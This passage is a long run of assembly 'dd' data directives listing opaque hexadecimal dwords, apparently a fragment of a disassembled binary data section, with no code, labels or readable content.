0FB1D9AACh dd 2FED07BDh, 5BD6D9FFh, 701E0009h, 89020242h, 5B9D0F3Eh dd 0D9F2C0ACh, 0C901A07Ch, 65B60281h, 0A0209B70h, 53A8A026h dd 0F91A8860h, 0BC9E86F8h, 0EAB58Bh, 71F747E3h, 0CBE600CEh dd 0E50A82F1h, 3000342Dh, 0B7369B46h, 1F216CAAh, 641316B3h dd 6E1B1E44h, 0F90D9A7Ch, 8F8A5C80h, 0AE3C527Ch, 8BD918F7h dd 16B79811h, 0CC160536h, 89DE813Ch, 7960C426h, 0EAD3D6h dd 10D5B316h, 65DE227h, 0DD782301h, 0FE81B44Eh, 9803985h dd 6058D4D7h, 0E89D2724h, 1CB19500h, 18EB8805h, 0F4FC01A4h dd 2616A523h, 460F2C5h, 9D601FC4h, 0CB81F341h, 53560099h dd 879C62D2h, 0C5000AE3h, 0DE4ADD2Eh, 0C793E941h, 0C0D75044h dd 0A44610BCh, 1F910800h, 0DA10398h, 0C12A005Fh, 4A4FDA32h dd 622442FFh, 0BC1FC71Dh, 19D3ED40h, 1DA43B5h, 0A6CA9529h dd 0E817C79Ah, 1F483E94h, 0E5DE80DCh, 2F110E6h, 8C347C70h dd 48E4B98Ah, 0A0F71500h, 16455DBCh, 75BF054Ch, 14A6AB37h dd 0D0807CCCh, 26A002D8h, 2007258h, 249C1A92h, 0FF5844E1h dd 5FC24210h, 2CA25402h, 40F104A4h, 1FED253h, 8D9128Ah dd 9FD8119Bh, 1E4F5659h, 0E9A18062h, 5F2A30h, 0DFABB293h dd 7A05AA91h, 9258457Bh, 1B048434h, 0F4CA50CCh, 26D624F9h dd 1429154Ch, 0DAC0F448h, 2035EBD2h, 9D88651Ch, 7EACB6C0h dd 15F8D7C9h, 8F5443Eh, 124C2609h, 0C33B7848h, 0E176CE00h dd 49CB21C7h, 4E404C46h, 0D8B6FB0Bh, 1007C809h, 98249834h dd 457C9411h, 51F8605Bh, 0DB061A16h, 575E2881h, 0D9451608h dd 12FF6842h, 0B70F0C58h, 2F937B4Dh, 0B4B241EEh, 6831F14Eh dd 39960464h, 0B6246D2Eh, 5786605Ch, 740061DFh, 0B2EED420h dd 751F0DBDh, 9C991224h, 0B7FC3033h, 270B8B4Eh, 10124435h dd 637BB8h, 0EEA5B5CEh, 1C64AE78h, 0FCF35200h, 9724CA01h dd 62250DFFh, 8F26B631h, 60D9B779h, 9008EFA7h, 0D46401CFh dd 0FD118783h, 2C50DCA3h, 13348A14h, 693E34h, 7A0D1DE9h dd 1AE9B64h, 534FCD98h, 0FCDEFD5Eh, 635C5102h, 2CBF0063h dd 2A4E609Eh, 0B4F4A4BAh, 781691C4h, 0D5D73102h, 0D2134DB0h dd 0A1C60F1Ch, 0F5209391h, 8B6D0A39h, 0D569971Ch, 54A62200h dd 2973F23Eh, 0C0FCDBh, 3DC98A33h, 0D57DD6DAh, 1823EC38h dd 0C10D9FDh, 123C035Eh, 4229997Ah, 9E61081Ch, 5DA45643h dd 1E492709h, 9228D820h, 0F90048AFh, 0BC1FD020h, 0DDD2C1h dd 0AB21732Fh, 311D3E52h, 2423000h, 1913D6Dh, 4333031Fh dd 0C360B0AAh, 0A4473E80h, 0C8D85E58h, 0FCE4816h, 1BEB0283h dd 3C28348Ah, 58AB0A10h, 0ACEBC0C4h, 0A0DC1022h, 7F72BBh dd 1380FDAFh, 0DAB7A8FAh, 91192727h, 0B8380284h, 0C0CA061Fh dd 0FD70FC2Eh, 4CB871D3h dd 0F38CF21h, 0EFA04361h, 8B25F0DFh, 8C40B94Fh, 0F9AC845Ah dd 0F6E0036h, 0B5DE6AE1h, 17070B76h, 0C94A9411h, 1601ECEAh dd 0AFCFF5DFh, 39AED980h, 6461724h, 1EB40A4Ch, 0A0271436h dd 0DAE46C18h, 7F18A098h, 60EF841h, 99DB12D2h, 913C1925h dd 1904046Dh, 6CE6DE63h, 1BD4DD02h, 5BE09867h, 57001EA4h dd 0C30DF0D1h, 0C4A1369Eh, 0E4FDDA71h, 6D04A6A0h, 1190587h dd 1D30E088h, 0E7267CFh, 0A0399081h, 2D303D03h, 95C4A011h dd 0E4C9DAh, 49B6C5F6h, 0F05AD7B1h, 0CBE830D0h, 308800AEh dd 187EA73Dh, 8994614Eh, 0BF0B16D1h, 481F45Fh, 2035E60h dd 0C9E1CC2Ch, 6CC5F2CEh, 1F54B12Fh, 0C0000C22h, 2E4DBC46h dd 6F05E69Ah, 0C4AD2980h, 87D6CA80h, 0AFEA00B7h, 51A82D5Ch dd 5A371A05h, 238048CBh, 0F60E5049h, 0A98212D4h, 8F84002Dh dd 14A09737h, 0C0B419D0h, 12538E5Bh, 972600DCh, 3D997646h dd 472F2C83h, 3108A066h, 5AAEAF64h, 42E809E7h, 25D05068h dd 1C58DF4Ah, 99AD610h, 4DAE28A1h, 417C3804h, 0CE4FE7DEh dd 0C02BDAF7h, 0B1124EC1h, 0CC8E093Ch, 0DB2D6680h, 0E2034232h dd 17C54F40h, 9C2810B0h, 0E8310016h, 6DFEEFB5h, 30AC2D75h dd 77AB8C80h, 500BAD58h, 52F9C3Fh, 0DC80EE81h, 28CBB697h dd 1E47655h, 620681C0h, 299FFDDBh, 13218Ch, 0E0F82D16h dd 79001B06h, 8F2A5E88h, 0B799D68Ah, 0B6E8F4D0h, 22E0A949h dd 0BCBB00B1h, 3E2395E6h, 0F4909DECh, 30C0D400h, 0D019AE86h dd 0DDB7002Dh, 58FF366Ch, 8271DB63h, 0F24AA53h, 6053F227h dd 2089E62Eh, 9E2F099Bh, 4900C4CCh, 29517030h, 1611CF60h dd 0B1736E3h, 0AEE9B6BDh, 4FC7C040h, 38FF58E8h, 3189A0A4h dd 7420951Fh, 9F178DC9h, 7854C000h, 58B98EC3h, 0FCC5486Bh dd 0D5F26F81h, 0BAF0894h, 88B7122Ah, 72387841h, 0B4A80048h dd 0DC7E8D6Ah, 5A100017h, 70B08BDBh, 950E6B05h, 12EB5D1h dd 6584E623h, 65CC820h, 64053E8Ah, 0A7001019h, 0FC215F90h dd 95D55DBh, 1FCAAA93h, 0D6DC9810h, 1223881Ch, 0C4E1F358h dd 48137496h, 0DE2284CBh, 0C4CB189Eh, 85EC04h, 0BFA3AEDDh dd 0B28C3DBEh, 2C336100h, 12060E30h, 2C34E508h, 9C944483h dd 0C088314Ah, 8607249Eh, 0C7160078h, 31DF0EF5h, 6E97B117h dd 0B929C490h, 81FC881Ah, 8CC0C95h, 1980E1B8h, 608284ECh dd 0E901B4E5h, 9322DC2Ch, 209774A2h, 8AEC0958h, 64ACA019h dd 93279DF2h, 83842038h, 1FE8B7B9h, 4C4E78D6h, 5241612Eh dd 887B8680h, 0F700A284h, 0F43BA05Fh, 483025C6h, 9216546Ch dd 5281F88h, 0F2141EF5h, 64D700B4h, 0A05880E2h, 49B00078h dd 0FC2CAA5h, 71D0B47h, 93C21975h, 0C067318Eh, 4EC127E2h dd 594C40B0h, 0E51DB34Ch, 2F05300Ch, 0EC8A19B6h, 909119AFh dd 0DC2A787Ah, 8996CDFh, 7D8B2B89h, 0E26B5E80h, 4104172Ch dd 0F6F75B3Dh, 7D908C3h, 2879ED29h, 0DAF90B8h, 9727BC5Ah dd 317CA1A1h, 0F6D479DAh, 47210259h, 9997DB8Bh, 0E93BECA0h dd 2E007F9Eh, 0BD570BEDh, 99C30C3h, 9BA64B35h, 0F0E8D0C1h dd 2BF9AEC9h, 7890E416h, 4364Ch, 3E30BA59h, 9DEDCBE0h dd 8F83483Ah, 621151F6h, 4B7D55A4h, 37F7C760h, 0CEBC669Bh dd 8724F1F8h, 0DB1E82FCh, 408C3063h, 0A5979D4Dh, 9FD899AEh dd 0AC35C0A1h, 69B8A8Eh, 7D92600Eh, 0B6522031h, 94E855DAh dd 961E0CB4h, 4A00C7E9h, 0E181D61h, 489C4E01h, 0C9836837h dd 383EA052h, 0E8B5401Bh, 5F0992Ah, 0A4B72B27h, 6C00AE40h dd 0B6EE1D78h, 0CE0386Bh, 1868B29Dh, 0E180B880h, 1048098h dd 0DB84C49Eh, 50E41826h, 0BC6F2C4Eh, 0B09012D4h, 5932DBC8h dd 441E2101h, 97F002BCh, 6410B889h, 8B0BEC56h, 33A03051h dd 473188D0h, 340260EEh, 0F5C5ACB7h, 1CC56B1h, 22433BB5h dd 0BEF840A1h, 0B4014F0Bh, 30467A05h, 54611A92h, 4CF0202Eh dd 0B5000BA0h, 172765CEh, 364A5B7h, 0BC1AD326h, 0E082E9DCh dd 0B1826843h, 84924C22h, 74A8B43Ch, 76CB8CAh, 0C0EFE9C9h dd 80AE81EBh, 8793F01Eh, 2A4FD9C3h, 58249B9Fh, 2C4050F4h dd 54BFA06Ch, 8AA50536h, 8D3BD07h, 0EB807C2Ch, 0B489EE54h dd 969B095Bh, 2E0EF920h, 21C7A0E0h, 0C505ED7Fh, 0A9AD7886h dd 0A300D887h, 309CB629h, 3351DF58h, 9900C481h, 0D6FFD130h dd 0B191B728h, 0B1842804h, 0E2B01264h, 0BB760040h, 0A4ED6510h dd 29900096h, 0ABFB9ADBh, 0B74F15CAh, 46217C41h, 0F7E836EAh dd 77F2195Ch, 0BAB4DE1Bh, 0CBB08528h, 94E4B6B5h, 965903D8h dd 8DE53382h, 77753680h, 4C50848h, 0F7B68A81h, 9486A8A0h dd 3A7D80ECh, 0E3E616BAh, 4356A200h, 349674A6h, 0F287FA0Ah dd 0CDB2003Ch, 30ED6BB4h, 0EE014AACh, 0A34C4D49h, 9C40A2F8h dd 512EB12Ch, 646C0CF0h, 7F818880h, 0F7EEA042h, 0B6BC1700h dd 14C70C2Fh, 990A269Fh, 4A581D3Ch, 40D4E8F9h, 0A431C8D0h dd 0B4C95C4Bh, 85219D6h, 1D660046h, 2A09692Ch, 62007291h dd 0BE17871Fh, 3AAFE8B6h, 0A4CC6EA5h, 0DB28FB22h, 1097505Eh dd 7921B9A0h, 48D6006Fh, 1FAE0982h, 0C70B5113h, 2BAD53DAh dd 59D8E1ACh, 2E211473h, 80968589h, 3C0D9F50h, 97250736h dd 86011AA0h, 58F05CEFh, 10C5E470h, 14008729h, 0CDAD7FB6h dd 3F2E15B7h, 8C4284D2h, 31C9F882h, 0E340245Eh, 58D05Dh dd 0CD14B30h, 0E7146CFBh, 40005BEAh, 639335A8h, 98E33001h dd 6296168Ch, 971830ECh, 0B903341Fh, 1C8FD34Bh, 92F0CF47h dd 2465445h, 4DE1308Ah, 609B58h, 6777A9FAh, 0E0A208D2h dd 5F98BC00h, 0A1F6DF69h, 4AEDEC00h, 42EB4B5Eh, 2D051347h dd 0D40CC8BCh, 12A8CD5Ch, 0FCF344B7h, 99411322h, 0D3805068h dd 88CD2519h, 26241A16h, 36B0888h, 41EC9273h, 918AE8FAh dd 0C57A9785h, 8374A23Ch, 0C0C37D67h, 5435492Ah, 6E2417h dd 82A157D3h, 9006091Ah, 7A425801h, 827DB81h, 0DF224023h dd 0C81152h, 0A30A2DBCh, 9F2B480h, 0FE7B8531h, 2E213C58h dd 0D811A0h, 266B4190h, 7E372B1h, 4675791Eh, 0A6E8702h dd 16AB0E80h, 0E43B5125h, 0F6522E7Ch, 62520194h, 493E8EF9h dd 4FE5C464h, 19102033h, 3D3DC25Dh, 1209F526h, 993431h dd 73876993h, 3BCD0576h, 13B73E42h, 8F1044F0h, 0CAAE065Fh dd 18615910h, 10DAA589h, 0A6419445h, 7421304Ah, 9803D862h dd 7252B758h, 1FD6A003h, 91CB156Ch, 6FF1A44Eh, 0D01E2992h dd 0CBF73DD8h, 7C002CF4h, 0F2123BF8h, 2ADAEEh, 0D018F6E9h dd 9D0B84B3h, 4A4879F3h, 2154088h, 518A5C87h, 20404496h dd 990065D4h, 308B4E90h, 0F4295B97h, 8A6F0081h, 25CAFB93h dd 0AF447CF4h, 1412484Dh, 82571F80h, 0D80FA574h, 2760F231h dd 9C805099h, 3427E853h, 0D8C84DB7h, 2F059BC8h, 208A30B4h dd 0F3D690C0h, 93BB1661h, 2E30C827h, 19F03830h, 6B05FFDBh dd 189080ABh, 580095C6h, 3427D03Ah, 0E9E824h, 0AEF31F94h dd 0D7901299h, 4C9CF200h, 22E0DD8h, 1805085Eh, 0DB04DEBEh dd 548C0750h, 0D04484D8h, 702E069Ch, 905D0864h, 48B39E00h dd 26D950DFh, 0AC7126C8h, 21510678h, 0E8901125h, 0DA299162h dd 10EC5196h, 49C8805Eh, 25F5B5ACh, 98CCF181h, 9814909Fh dd 0A16B0054h, 0FC514487h, 23FAF435h, 0AEAE503h, 0F4B8A22Dh dd 0F2140444h, 0CD2E001Ch, 0ACBB2AFDh, 4AE43F2Dh, 92B55D80h dd 0C0247D46h, 8EE22E2Ch dd 19AB6403h, 0F3AD80D2h, 0A65E2729h, 1C0064E6h, 4DB1A594h dd 3AC01D3Ch, 0B9894BF7h, 0E0935049h, 0B2FD8698h, 1F538E12h dd 94303C16h, 58583412h, 0E812CFCEh, 0F04842CAh, 0F4C202C7h dd 4445C44h, 1A1E0716h, 0A1D29584h, 0E0AB7219h, 8600E526h dd 0D722872Ah, 145ED8C3h, 88D6640h, 94A01609h, 0C007071h dd 0D9EF6567h, 0EEC31671h, 31EC607Bh, 10961B05h, 0C113E88Eh dd 0B7C4C16Bh, 4BD526C0h, 452C986Fh, 81BB393Dh, 0A9E6BC49h dd 0A02A7726h, 2F009FB2h, 5652996Bh, 0FE9B08D1h, 0C5B5F0DAh dd 30309C61h, 0F7E70BFCh, 0C597DA1Bh, 20DE9A21h, 0B029785Eh dd 4387FA00h, 0FDE18A3Fh, 30E762E6h, 60E0A97Fh, 945A38A6h dd 8113D01Fh, 2A4DB090h, 14C500A9h, 0CB974B50h, 1024F145h dd 9C78E409h, 0CD12E936h, 200645Bh, 0F5B72E7Ah, 0C9E11726h dd 38540003h, 0CD0E61CEh, 0A50C90B5h, 5A68005Eh, 0DAD2AED3h dd 0AC909DCBh, 0B57F44h, 0DFA030A5h, 0B709E62Ch, 88C42D48h dd 8A978Fh, 5190C4B4h, 0A212DDD9h, 0A40074EBh, 0D3797B3Dh dd 28C00CD0h, 50113A38h, 29DC2132h, 826C76B6h, 0BC932368h dd 0F0728540h, 78008E71h, 0CAEEBF7Ah, 0C9219Bh, 2FB852ABh dd 0A503FA91h, 1E2EBB00h, 81580911h, 0CA0B0051h, 0AF1092EAh dd 0C4B02D3Fh, 1F62B0B4h, 0A57C4817h, 7C837C66h, 0F5C9BF6h dd 2253359Ch, 262009BCh, 537E93h, 291D0589h, 42D2E978h dd 0A7BC0200h, 0EBEA9131h, 0D0D45223h, 5FFD2E07h, 0F8AD1047h dd 53028C4h, 2758115Ch, 2E02094Ch, 0E060AECEh, 84BEEA0Eh dd 0A2108259h, 9C00A4EFh, 42B33F83h, 0FD47BCBBh, 20CC20h dd 0D1982895h, 66D231C8h, 6009C0B8h, 79C0A94Bh, 443E0054h dd 0BFB4D28Ah, 0F2C90601h, 8277A205h, 958CD60h, 0A00EDB55h dd 0AA4420D8h, 0EB270902h, 6078C89Ah, 2E672B00h, 0B7AC439Dh dd 4874F618h, 0D024B817h, 0DC9809FAh, 8053849h, 67C28880h dd 82A8B100h, 7ADEDC39h, 51CA024Ah, 775FDAC5h, 164B30D6h dd 0E39D003Ch, 77B2BD06h, 0AE4DC180h, 27C82004h, 0E06450DAh dd 0D7F44503h, 0E0B7687Dh, 7CA881Dh, 29D44AB4h, 0FB96A0B3h dd 0B600D707h, 0F0D50BCh, 1AF1CBh, 122AB4F6h, 0C68F67DFh dd 36E21700h, 5E43CE96h, 0E9A50027h, 0EA2D7CB8h, 5502FDDBh dd 0A6E0C562h, 846CF930h, 2597D709h, 0A4F8A0h, 3C79A5AFh dd 9E3F6849h, 0B49A2104h, 6E870C66h, 0C7A09640h, 312E00F9h dd 0AF6AAE0Dh, 0B2E899B4h, 3540E49Eh, 0B0E8E9h, 60DDAC3Eh dd 396D6B8Ch, 4013D500h, 9358642Bh, 0D85E001Fh, 0B0A23298h dd 367A0A0Dh, 4980F49Ch, 5D2CB124h, 0D94C4C13h, 84E4F227h dd 8053D83Dh, 3DCF49D6h, 44EC61h, 664F7772h, 0D232CD93h dd 0C8B97825h, 17C874h, 0F0E88880h, 0DF3EFE48h, 8025793Bh dd 0FF53BA47h, 76906AC1h, 0EC7F00ACh, 0CED23C65h, 0AF58F6B4h dd 0A16300C8h, 6CAAA5FAh, 0CC11B78Dh, 0A9E5CBA0h, 0B8C98908h dd 79D278h, 0B6376348h, 9596E93Bh, 0C040109Ch, 57C4F98h dd 4EE0DF6Bh, 3C94A278h, 92643EFDh, 4CA63012h, 892E6C58h dd 5B16407Ch, 0CC96B963h, 9A707680h, 85BEDCh, 44BCB1B5h dd 6AFFA082h, 0B5B670h, 7AFB929Ch, 0BC9C90AAh, 38A8BB3Ch dd 0A4940E64h, 4643CFA8h, 0F4E50B16h, 6D1398DCh, 81C0EB7h dd 0E879037Eh, 0F8B2F5B6h, 57AEA5Eh, 97B33244h, 2124B254h dd 4441BD93h, 27808C90h, 63F90201h, 0FC2F1D59h, 3D504441h dd 6F38203Ah, 0A0A6B2F2h, 3B70C31Ch, 24AEBF41h, 97D43249h dd 373CA058h, 481A0B9Fh, 20E145B4h, 8EB8815Bh, 0AB0982DBh dd 59CC602Eh, 0C71CF3B2h, 2D80FD78h, 20E244DCh, 50BE2C4h dd 97B5324Bh, 6C30055Ah, 166C0E88h, 0B0538B64h, 1F13C908h dd 20C4E194h, 0F07E3000h, 0D9365Eh, 1AC18EDCh, 7968E2D8h dd 35770C02h, 0C416203Ch, 0F5A1A094h, 79A600B4h, 3C60CF6h dd 6B0048AEh, 3025DE83h, 0D691B5h, 6DFDB1B7h, 28519D4Dh dd 0DB3E2301h, 4490AECCh, 21F43C20h, 5281BB58h, 0A38A33C3h dd 9A4E90C3h, 17270459h, 0DC0226F3h, 62EC2AF4h, 0FB328B0Eh dd 0A55FE0ECh, 720EF98Ah, 2CF51F9Bh, 0A389C04Dh, 5E9FBDDh dd 31086416h, 0C95B60CAh, 0AF99ECECh, 0F4124D29h, 769F4800h dd 0BD1FB1E1h, 0B07AF027h, 32214225h, 0C6456700h, 41D834EEh dd 92EB7F55h, 647B4498h, 7050D5Ch, 3666DE25h, 189068CBh dd 0FCD524EBh, 882D139Ch, 1E003C34h, 0CD365220h, 3556F8D5h dd 2876EA58h, 0AC962924h, 7F1FC43h, 0DF010F48h, 1C16F1F5h dd 24542351h, 74296018h, 0C7010B00h, 0A1648F5h, 9BD85111h dd 48F11014h, 78286CC8h, 4498BCh, 0F8F407CDh, 2E44A003h dd 401D0D00h, 9710857Ch, 0AB3701A3h, 0CFAA69C4h, 5244CB4h dd 0B90490B3h, 94F0B061h, 0D4374C9Ch, 0F883DA85h, 54FC8278h dd 0D397E12Bh, 0EC047443h, 308020BCh, 5193BF81h, 1A82C007h dd 0CF05AC31h, 0A693DCB9h, 0A44D04ECh, 0D0B21627h, 48208A01h dd 0F038E267h, 0AC0EF483h, 2A4AD9Fh, 62AA302Ch, 0DB0C84BCh dd 5F813440h, 0D300A149h, 0E2C87DC9h, 0BE3E677h, 0B98AFFA3h dd 6E9B8490h, 87784900h, 52349C6Dh, 0C4DF0082h, 4F47F98Fh dd 5C293391h, 8A057CDBh, 8CCCCF21h, 0BF140BEAh, 0AC8394CEh dd 11DE122Fh, 466EDF09h, 0C9AC058Bh, 0ACC78402h, 848DE0Dh dd 8A01F156h, 2A343E27h, 5DE61CD8h, 0AA8B5089h, 4107F8Bh dd 8E4BB35Eh, 439E2C20h, 0B5A73941h, 0B062D70Bh, 7A986082h dd 0B7D2B618h, 0B8FD9438h, 0BE106E02h, 0E1171A29h, 543B3080h dd 0B500C4F8h, 12BEEEFCh, 9DFC178Ah, 89623C30h, 9F2D05C8h dd 5C0E8C94h, 6088087Ch, 4F2CC13h, 2B680FB9h, 0C1002A18h dd 321659E2h, 0B544B09Eh, 0BA8F00ACh, 79AF5FC3h, 0DAB8CFF0h dd 806C2658h, 16EA4396h, 984C50CEh, 0A72096F3h, 0D30004C4h dd 0F861D854h, 1F9A250h, 88A79DDEh, 805A5199h, 0E0771510h dd 83B1D0A9h, 780C2842h, 321C5A52h, 22BDE83Eh, 12F5FDBh dd 0B990BAFFh, 0B5CC49EEh, 0C714CC68h, 0B68014D5h, 0CE285A65h dd 52B83B60h, 8596CF9h, 0D5FD2F1Ch, 3C098126h, 0A500549Ah dd 8C017CE4h, 976DB57Fh, 0FCF441D4h, 0F89B00C5h, 15671CDBh dd 0C6252EC7h, 864C51DAh, 59DE329Ch, 4F2D2612h, 0FA3FD405h dd 4E16B809h, 7AF43E60h, 8404FB58h, 82019852h, 54BE7240h dd 14CB032Dh, 6010B734h, 0A008A40h, 313F4E3Ch, 0B35FDD9h dd 0D87FA495h, 9C4C3478h, 3AC6C0DCh, 0AE9449h, 7EF11132h dd 0D74226B4h, 5565F80Bh, 335CE14Eh, 2FC0613Bh, 51DB11DAh dd 0FEA1A47Ch, 7F006F16h, 0B8FF2F74h, 38897260h, 1FD2D80h dd 0D7A102C7h, 0DCC2B3B0h, 0A6001268h, 27DABE96h, 4A9AE14h dd 0F018AF66h, 0B6E4C8D5h, 2407DD5Ch, 98244811h, 513CA10h dd 5FA4301Ch, 98B974D3h, 3355DB0Eh, 0E4B5F84Bh, 8E1C0724h dd 0EF4BA642h, 70C96D7Fh, 0F86CF0E1h, 0A72DBD1Eh, 6D7E9D02h dd 6DCE150h, 9847A910h, 99858100h, 0AF135B8h, 784DFE50h dd 0B7760434h, 0B56CF84Eh, 203A84h, 32BFC8Eh, 0A9839231h dd 0AFE0FD42h, 0E3D7467h, 0CB2D7727h, 1E066EEh, 0D2FDF4A9h dd 0E052EADCh, 97001E84h, 79418B6Eh, 7DA8A9D5h, 0D108A0ABh dd 8CB348B8h, 0B726270Ah, 70AC0178h, 0FAAB500Ch, 860060DEh dd 51BBA747h, 6B4408D7h, 1F8D573Ch, 0B420114Bh, 0DB29CBB9h dd 4D045451h, 894EE113h dd 0BB932060h, 69072F34h, 38C13ADFh, 834BB720h, 2EB10E80h dd 0E9C0FDE0h, 654630B5h, 0D8A40D07h, 7D50B608h, 1EC32F12h dd 0C0DEF4C6h, 0B1EA4D4Fh, 50F8218h, 0C02A7A07h, 0CA1A5C1h dd 47D72DF9h, 1F002C64h, 0A77B9759h, 9A0644h, 466CCD2Fh dd 8E926636h, 1235E3Ah, 0A5AF8631h, 602CC57Fh, 0D6B13080h dd 9502BE33h, 3B37D2EEh, 402CD6F6h, 0E2962DEh, 2D286158h dd 1CCC6495h, 40CA9838h, 4F1B2476h, 2FF45961h, 85DCF148h dd 1801CE21h, 0FD29F0AEh, 2F25FC62h, 0E72A819h, 0A3B55E20h dd 0C4248BA4h, 0C89524ACh, 0B2920D8Eh, 8002C804h, 97CD76D9h dd 8B043956h, 0E9387C2Dh, 0A160081h, 98541704h, 4D000E2Ch dd 3179DA3Ch, 8A7D54A4h, 5CCC38C2h, 0B80C571h, 1C919555h dd 1C0009DFh, 0D7AC3Fh, 0EEB678Eh, 60BEFF21h, 0E4AF372Dh dd 176E3E38h, 69DCA500h, 571EAE20h, 0EF629716h, 17542C91h dd 70461112h, 64C45600h, 966DF87Fh, 0DB290BA6h, 0F0DB1398h dd 0AAC63F80h, 28D09EBEh, 12A511E6h, 8012B7C0h, 0A64CFE24h dd 9F0F287Bh, 705C37Ah, 87854017h, 0A0970803h, 8B2901C4h dd 0CA2C85Eh, 80EC7C31h, 323037FBh, 92213DCDh, 872F01FFh dd 2C4543E3h, 0E8207BD0h, 961F37E7h, 0C1329D70h, 0A41A084Ch dd 8276C836h, 0F761BE00h, 0B491D47Fh, 1ED81A0Dh, 0C0C1317Bh dd 510310A7h, 0D2260260h, 0CE5B6ECDh, 308AF080h, 4000DF49h dd 0B6B9D686h, 39992091h, 0C800B40Ch, 0B79667ABh, 0C90159B2h dd 9CA8D331h, 402F1230h, 4904E81Ch, 600096E3h, 8FD0EB70h dd 14D11218h, 0C8A45F0Ch, 0F5442AC2h, 2704F0D9h, 3120C701h dd 0F4073BACh, 0A44C9544h, 9B0868F9h, 68E02Eh, 8D664F39h dd 0FB133140h, 725A970Bh, 900B583Dh, 0DA4B00C5h, 166EBB2Ch dd 421E96DFh, 0E740EF50h, 69C4BD29h, 5FB500E4h, 0C1F994A0h dd 43F2F028h, 31A19C13h, 1645CCCh, 701CBC66h, 6848C391h dd 1408D35Ch, 0D45D81DAh, 3E196AC3h, 0A3989A80h, 33EE628h dd 0E9342081h, 401DCC07h, 95A07B65h, 600760C4h, 0CCBEB35Ch dd 0CFAC97F0h, 0AD5F1EA0h, 171FC08Ah, 3CB96039h, 0FC12904Ah dd 0E07400ACh, 0CF3302EDh, 0B730DA1Bh, 31840859h, 4ACCC81h dd 73B85424h, 0E4C740BCh, 3C8E2Ah, 0FF9A3C4h, 851C2D58h dd 5EF59C02h, 0E02A45C5h, 386CCC2Ch, 0CF295A1Eh, 295006D8h dd 0A50119CDh, 4D0483DAh, 683D51A4h, 8845AB13h, 0EAD2BC0Ch dd 0F08CD716h, 3CE595CDh, 0F4452A07h, 0F90D76D0h, 4D1025D0h dd 0ADA0B901h, 11F7F0F1h, 0CAB8209Dh, 70BEEBAh, 12FCBE23h dd 0C86CB7ACh, 0B5D6A987h, 48633872h, 9CC83Ch, 628F67DDh dd 32F9F869h, 0B07C6C90h, 0C0F4455Ch, 9AA1F68Dh, 0B74A144Eh dd 0CE0197D5h, 1E52EBF2h, 5901C07Dh, 9E236003h, 0E0BEBA72h dd 1C32A4Ch, 0A0B3EF3h, 208A90FFh, 0E22F1634h, 432CCC36h dd 5A84795Ch, 0E9103029h, 0AEFE8BD6h, 39425782h, 0F0019459h dd 0DAE11DABh, 8E6420h, 519ED705h, 4C85D921h, 1F78F6F2h dd 11D3DAEEh, 298F4C0Ch, 80A8BEB9h, 21225A4h, 0F601339Fh dd 0E781717Dh, 0DBD63AB2h, 0C91A0AD8h, 2D0A9160h, 0D76CEA1Eh dd 0C4F96EE0h, 429AAF00h, 5423F443h, 29CE25B5h, 307894ECh dd 8893B307h, 96DB2F7Bh, 0A4AF27CCh, 109FB8C1h, 351FBDDh dd 4EE54620h, 76C9C1FAh, 9D19C093h, 10BD7BE4h, 4860EBB0h dd 1702DE0Dh, 35379BBEh, 6A5B00DFh, 2DB24CEh, 0DAE2D2C8h dd 0D8F20497h, 5AF6803h, 9BBDE1Bh, 80DAA8E8h, 3C10D051h dd 6748CD82h, 0A3471874h, 20DBB622h, 52F52044h, 0C9E8AB00h dd 0A4020359h, 68A01421h, 747E281Fh, 0A1CF07B2h, 0B0FF257Fh dd 0E181B958h, 90904E95h, 0E024E9F7h, 0F91A887Bh, 130EAB7Fh dd 0AEEA2Fh, 0D750DC6Dh, 248A17A1h, 0A0D82371h, 34EC1158h dd 0BCCC29AFh, 9B990087h, 57953F56h, 9A02225Fh, 507AEA31h dd 0A8602EB6h, 8160AAB1h, 207DE000h, 0F2F543D2h, 464401FDh dd 150547AFh, 8A3180B0h, 92DDB7D6h, 68AE61E1h, 70F90258h dd 0AB120B98h, 0CD0B97Eh, 0D71861h, 0CE730FBCh, 5E421A99h dd 5FE9B914h, 490B03B0h, 0A96B066Ch, 6470D5D7h, 8CDC00E4h dd 1D516046h, 0EC3EB318h, 571C0307h, 0E2B90562h, 0A89C433Dh dd 60A81715h, 0DF5F062Ah, 6D0591B0h, 7D190586h, 8B9404FCh dd 0B7C8EB0Fh, 5EEA4140h, 0C21DCC03h, 5DC028C7h, 2FCE40A4h dd 0BE9F00D0h, 29EF5AE9h, 0FA00F884h, 5E5F2D0Eh, 4F3E5989h dd 8008C947h, 0A32335ACh, 156D87EFh, 0EC371FBFh, 2F38224Ah dd 166556C0h, 37286C4Ch, 8B7918D0h, 0BF1C19B8h, 13A892E8h dd 80BDDFh, 4247A48Bh, 35E20630h, 0C91CEF4Ch, 0C0485C36h dd 0B335462Ch, 3FF3A600h, 47EBF563h, 4B1900A2h, 56E9D8AEh dd 2912F116h, 0D412BF17h, 59248909h, 0DF46034Ch, 110FD4E8h dd 8231C658h, 0DCA6AE9Eh, 0B7CB62CCh, 4495A850h, 0D244000Ch dd 78E1C2B0h, 2A0E7038h, 406A79A8h, 896546C5h, 4921A34h dd 0D8DA50D2h, 4A25317Ch, 1050736Dh, 0C7918B96h, 381810E4h dd 85093DB5h, 2E8A8F2Bh, 705064B6h, 3E880245h, 46C40ED0h dd 380E8F1h, 6AE92F63h, 4F300033h, 2E9C3E78h, 0B5F48114h dd 1F28A095h, 2D7E8Fh, 0D084965Eh, 0D7797537h, 703A5303h dd 0E8F29DD1h, 592AA45Ch, 385BA0B7h, 8E8152C4h, 4D27F033h dd 7F94AE61h, 78C53038h, 3E767FFEh, 0A4517539h, 13A9D848h dd 28998193h, 0A6445824h, 2D052731h, 2100B064h, 0CDB2E49Eh dd 52A4677h, 8138BC91h, 4FA880E3h, 0F702BE21h, 6EB5C8A9h dd 0A0B0E312h, 12FFC695h, 0FF6658A8h, 94318A0Ah, 59BDEB00h dd 240690A5h, 8B4CF321h, 158BD681h, 0E8052C44h, 8EFAAD26h dd 0E9904CB0h, 4A9CE4F0h, 1854D227h, 14E8B524h, 9B031622h dd 0BEB0132Eh, 9050E24Eh, 0F6404A8h, 585230ECh, 0AEAC5583h dd 0D534100h, 9CE37821h, 37301751h, 9BFC0809h, 83A31880h dd 4C6F7CEAh, 0C3101067h, 0A0576D0h, 6369ED8h, 0D1C954D3h dd 253BDE2Eh, 800CE8C0h, 0C7DDD67h, 640AF827h, 561A38C0h dd 0C7BEC035h, 194B2001h, 6C1FB959h, 0A140D656h, 5C51C87Dh dd 20AF144Dh, 3F0B501Eh, 2B8067BDh, 3BB72B62h, 5BCB6E16h 